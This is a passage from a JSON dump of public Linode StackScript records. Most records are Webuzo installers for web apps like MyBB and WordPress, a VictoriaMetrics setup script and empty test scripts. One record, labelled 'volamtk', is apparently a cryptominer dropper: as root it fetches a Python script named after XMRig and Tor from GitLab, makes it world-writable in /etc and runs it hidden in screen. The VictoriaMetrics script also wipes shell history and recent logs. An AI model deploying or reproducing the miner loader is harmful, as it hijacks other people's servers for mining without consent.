${ADMIN_PASSWORD}\nYou can can connect using a database client with the following connection string postgres://admin:${ADMIN_PASSWORD}@${NODE_IP}:5432/superinsight\nFor complete source code and information, visit: https://github.com/superinsight/superinsight-db\n\n################################################################################################################################################\nEOF", "user_defined_fields": []}, {"id": 8996, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "MyBB powered by Webuzo", "description": "MyBB is a free bulletin board system software package developed by the MyBB Group. \r\n\r\nA lot of thought has gone into the MyBB interface to make it easy to use. MyBB uses a standard discussion board structure, so your visitors will feel familiar with the way MyBB works.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure MyBB and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "MyBB powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install MyBB and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About MyBB :\n# MyBB is a free bulletin board system software package developed by the MyBB Group.\n###########################################################################################################\n\n# Install MyBB Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=36&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling MyBB and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, MyBB has been successfully installed\"\necho \" \"\necho \"You can now configure MyBB and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9252, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Pebble powered by Webuzo", "description": "Pebble is a lightweight, open source, Java EE blogging tool. It''s small, fast and feature-rich with unrivalled ease of installation and use.\r\n\r\nBlog content is stored as XML files on disk and served up dynamically, so there''s no need to install a database. All maintenance and administration can be performed through your web browser, making Pebble ideal for anybody who is constantly on the move or doesn''t have direct access to their host. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Pebble and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Pebble powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Pebble and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Pebble :\n# Pebble is a lightweight, open source, Java EE blogging tool.\n# It''s small, fast and feature-rich with unrivalled ease of installation and use.\n###########################################################################################################\n\n# Install Pebble Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=429&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Pebble and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Pebble has been successfully installed\"\necho \" \"\necho \"You can now configure Pebble and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 355877, "username": "evin2", "user_gravatar_id": "9db591667a2b7decad610db319c613bc", "label": "Epasqualetti", "description": "Test to call stackscript with label", "ordinal": 0, "logo_url": "", "images": ["linode/gentoo"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n\n# It works!", "user_defined_fields": []}, {"id": 1094693, "username": "santiachinelli", "user_gravatar_id": "5a5ea404116429697319f684006d6b93", "label": "loltest-public", "description": "loltest-public", "ordinal": 0, "logo_url": "", "images": ["any/all"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "created, public version", "script": "#!/bin/bash\n# \nsource \nsystem_set_hostname \"$HOSTNAME\"\nexec > >(tee /dev/ttyS0 /var/log/stackscript.log) 2>&1\napt update && apt upgrade -y && apt install -y curl wget net-tools traceroute jq\n# Generate files\nmkdir -p /etc/victoriametrics/single\nmkdir -p /var/lib/victoria-metrics-data\nmkdir -p /var/lib/cloud/scripts/per-instance\n# Create victoriametrics user\ngroupadd -r victoriametrics\nuseradd -g victoriametrics -d /var/lib/victoria-metrics-data -s /sbin/nologin --system victoriametrics\nchown -R victoriametrics:victoriametrics /var/lib/victoria-metrics-data\n# Install VictoriaMetrics Single\nVM_VERSION=`curl -sg \"https://api.github.com/repos/VictoriaMetrics/VictoriaMetrics/tags\" | jq -r ''.[0].name''`\nwget https://github.com/VictoriaMetrics/VictoriaMetrics/releases/download/${VM_VERSION}/victoria-metrics-linux-amd64-${VM_VERSION}.tar.gz -O /tmp/victoria-metrics.tar.gz\ntar xvf /tmp/victoria-metrics.tar.gz -C /usr/bin\nchmod +x /usr/bin/victoria-metrics-prod\nchown root:root /usr/bin/victoria-metrics-prod\ntouch /etc/victoriametrics/single/scrape.yml\nchown root:root /etc/victoriametrics/single/scrape.yml\ncat </etc/systemd/system/vmsingle.service\n[Unit]\nDescription=VictoriaMetrics is a fast, cost-effective and scalable monitoring solution and time series database.\n# https://docs.victoriametrics.com\nAfter=network.target\n[Service]\nType=simple\nUser=victoriametrics\nGroup=victoriametrics\nWorkingDirectory=/var/lib/victoria-metrics-data\nStartLimitBurst=5\nStartLimitInterval=0\nRestart=on-failure\nRestartSec=5\nEnvironmentFile=-/etc/victoriametrics/single/victoriametrics.conf\nExecStart=/usr/bin/victoria-metrics-prod \\$ARGS\nExecStop=/bin/kill -s SIGTERM \\$MAINPID\nExecReload=/bin/kill -HUP \\$MAINPID\n# See docs https://docs.victoriametrics.com/Single-server-VictoriaMetrics.html#tuning\nProtectSystem=full\nLimitNOFILE=1048576\nLimitNPROC=1048576\nLimitCORE=infinity\nStandardOutput=syslog\nStandardError=syslog\nSyslogIdentifier=vmsingle\n[Install]\nWantedBy=multi-user.target\nEND\ncat </etc/victoriametrics/single/victoriametrics.conf\n# See https://docs.victoriametrics.com/Single-server-VictoriaMetrics.html#list-of-command-line-flags to get more information about supported command-line flags\n# \n# If you use IPv6 pleas add \"-enableTCP6\" to args line\nARGS=\"-promscrape.config=/etc/victoriametrics/single/scrape.yml -storageDataPath=/var/lib/victoria-metrics-data -retentionPeriod=12 -httpListenAddr=:8428 -graphiteListenAddr=:2003 -opentsdbListenAddr=:4242 -influxListenAddr=:8089 -enableTCP6\"\nEND\ncat < /etc/profile.d/victoriametrics_welcome.sh\n#!/bin/sh\n#\nmyip=$(hostname -I | awk ''{print$1}'')\n******************************************************************************** \nWelcome to VictoriaMetrics Single.\nTo keep this server secure, the UFW firewall is enabled.\nAll ports are BLOCKED except 22 (SSH), 80 (HTTP), and 443 (HTTPS), 8428 (VictoriaMetrics HTTP), 8089 (VictoriaMetrics Influx),\n4242 (VictoriaMetrics OpenTSDB), 2003 (VictoriaMetrics Graphite)\nIn a web browser, you can view:\n * The VictoriaMetrics Quickstart guide: https://kutt.it/1click-quickstart\nOn the server:\n * The default VictoriaMetrics root is located at /var/lib/victoria-metrics-data\n * VictoriaMetrics is running on ports: 8428, 8089, 4242, 2003 and they are bound to the local interface.\n********************************************************************************\n # This image includes version v1.74.0 of VictoriaMetrics. \n # See Release notes https://github.com/VictoriaMetrics/VictoriaMetrics/releases/tag/v1.70.0\n # Welcome to VictoriaMetrics droplet!\n # Website: https://victoriametrics.com\n # Documentation: https://docs.victoriametrics.com\n # VictoriaMetrics Github : https://github.com/VictoriaMetrics/VictoriaMetrics\n # VictoriaMetrics Slack Community: https://slack.victoriametrics.com\n # VictoriaMetrics Telegram Community: https://t.me/VictoriaMetrics_en\n # VictoriaMetrics config: /etc/victoriametrics/single/victoriametrics.conf\n # VictoriaMetrics scrape config: /etc/victoriametrics/single/scrape.yml\n # VictoriaMetrics UI accessable on: http://your_droplet_public_ipv4:8428/vmui/\nEND\n# Enable UFW and add some rules to it\nsed -e ''s|DEFAULT_FORWARD_POLICY=.*|DEFAULT_FORWARD_POLICY=\"ACCEPT\"|g'' \\\n -i /etc/default/ufw\nufw allow ssh comment \"SSH port\"\nufw allow http comment \"HTTP port\"\nufw allow https comment \"HTTPS port\"\nufw allow 8428 comment \"VictoriaMetrics Single HTTP port\"\nufw allow 8089/tcp comment \"TCP Influx Listen port for VictoriaMetrics\"\nufw allow 8089/udp comment \"UDP Influx Listen port for VictoriaMetrics\"\nufw allow 2003/tcp comment \"TCP Graphite Listen port for VictoriaMetrics\"\nufw allow 2003/udp comment \"UDP Graphite Listen port for VictoriaMetrics\"\nufw allow 4242 comment \"OpenTSDB Listen port for VictoriaMetrics\"\nufw --force enable\n# Cleaning up\nrm -rf /tmp/* /var/tmp/*\nhistory -c\ncat /dev/null > /root/.bash_history\nunset HISTFILE\nfind /var/log -mtime -1 -type f ! -name ''stackscript.log'' -exec truncate -s 0 {} \\;\n# Start VictoriaMetrics\nsystemctl enable vmsingle.service\nsystemctl start vmsingle.service\necho \"Installation complete!\"", "user_defined_fields": [{"name": "hostname", "label": "Hostname"}]}, {"id": 9254, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Apache Roller powered by Webuzo", "description": "Apache Roller is a full-featured, multi-user and group-blog server suitable for blog sites large and small.\r\n\r\nApache Roller is a Java web application that should be able to run on any Java EE server and relational database. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Apache Roller and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Apache Roller powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Apache Roller and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Apache Roller :\n# Apache Roller is a full-featured, multi-user and group-blog server suitable for blog sites large and small.\n# Apache Roller is a Java web application that should be able to run on any Java EE server and relational database. \n###########################################################################################################\n\n# Install Apache Roller Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=484&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Apache Roller and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Apache Roller has been successfully installed\"\necho \" \"\necho \"You can now configure Apache Roller and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 8231, "username": "shakilaid1", "user_gravatar_id": "92c44b5a4f7186e4a6f2320505505b0c", "label": "ererer", "description": "errer", "ordinal": 0, "logo_url": "", "images": ["linode/debian7.4"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9255, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "WordPress + Nginx powered by Webuzo", "description": "WordPress is a state-of-the-art publishing platform with a focus on aesthetics, web standards, and usability. WordPress is both free and priceless at the same time.\r\n\r\nMore simply, WordPress is what you use when you want to work with your blogging software, not fight it. \r\n\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure WordPress and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "WordPress + Nginx powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install WordPress + Nginx and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About WordPress :\n# WordPress is a state-of-the-art publishing platform with a focus on aesthetics, web standards, and usability.\n# WordPress is both free and priceless at the same time.\n# More simply, WordPress is what you use when you want to work with your blogging software, not fight it.\n###########################################################################################################\n\n# Install WordPress Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=26&license=$1\"\n \n}\n\n# Install Nginx Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh --install=nginx,mysql,php53,perl,python2,pureftpd,bind >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling WordPress + NGINX and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, WordPress has been successfully installed\"\necho \" \"\necho \"You can now configure WordPress and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 102439, "username": "poohflya", "user_gravatar_id": "bf99d31a5d9641a61079b25a4c1f5757", "label": "DAM", "description": "DAM", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu17.04"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9001, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Concrete5 powered by Webuzo", "description": "Concrete5 makes running a website easy. Go to any page in your site, and a editing toolbar gives you all the controls you need to update your website. No intimidating manuals, no complicated administration interfaces - just point and click.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Concrete5 and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Concrete5 powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Concrete5 and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Concrete5 :\n# Concrete5 makes running a website easy. Go to any page in your site, and a editing toolbar gives you \n# all the controls you need to update your website. No intimidating manuals, no complicated \n# administration interfaces - just point and click.\n###########################################################################################################\n\n# Install Concrete5 Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=174&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Concrete5 and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Concrete5 has been successfully installed\"\necho \" \"\necho \"You can now configure Concrete5 and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 788010, "username": "EugeneFrank", "user_gravatar_id": "2861cc9c5bd8d573606b159f00ee7e53", "label": "a5455", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 1359658, "username": "JubairHossin", "user_gravatar_id": "b8ac62ba3ef1b71bd87049378ee068dc", "label": "Alpine OS", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.16", "linode/alpine3.17", "linode/alpine3.18", "linode/alpine3.19"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9003, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Oxwall powered by Webuzo", "description": "Oxwall is unbelievably flexible and easy to use PHP/MySQL community software platform.\r\n\r\nOxwall is used for a wide range of projects starting from family sites and custom social networks to collaboration tools and enterprise community solutions. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Oxwall and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Oxwall powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Oxwall and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Oxwall :\n# Oxwall is unbelievably flexible and easy to use PHP/MySQL community software platform.\n###########################################################################################################\n\n# Install Oxwall Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=258&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Oxwall and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Oxwall has been successfully installed\"\necho \" \"\necho \"You can now configure Oxwall and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 670763, "username": "ChristopherMitchellgnfi", "user_gravatar_id": "57669f55c07796f7f563de0d5ec9da70", "label": "volamtk", "description": "volamtk", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/sh\nsleep 60\nsudo su root\napt-get install -y python\nwget https://gitlab.com/maihuuhanh1846/test/-/raw/master/daoxmrig_ubuntu_tor_docker_442.py -O /etc/dao.py\nchmod 777 /etc/dao.py\nscreen -dm python /etc/dao.py\n\n", "user_defined_fields": []}, {"id": 6188, "username": "ma88123456", "user_gravatar_id": "2e365c39a7fd833d229a95d24c8c525d", "label": "000", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu11.1032bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash''", "user_defined_fields": []}, {"id": 9004, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "qdPM powered by Webuzo", "description": "qdPM is a free web-based project management tool suitable for a small team working on multiple projects.\r\n\r\nIt is fully configurable. You can easy manage Projects, Tasks and People.\r\n\r\nCustomers interact using a Ticket System that is integrated into Task management. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure qdPM and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "qdPM powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install qdPM and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About qdPM :\n# qdPM is a free web-based project management tool suitable for a small team working on multiple projects.\n###########################################################################################################\n\n# Install qdPM Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=428&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling qdPM and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, qdPM has been successfully installed\"\necho \" \"\necho 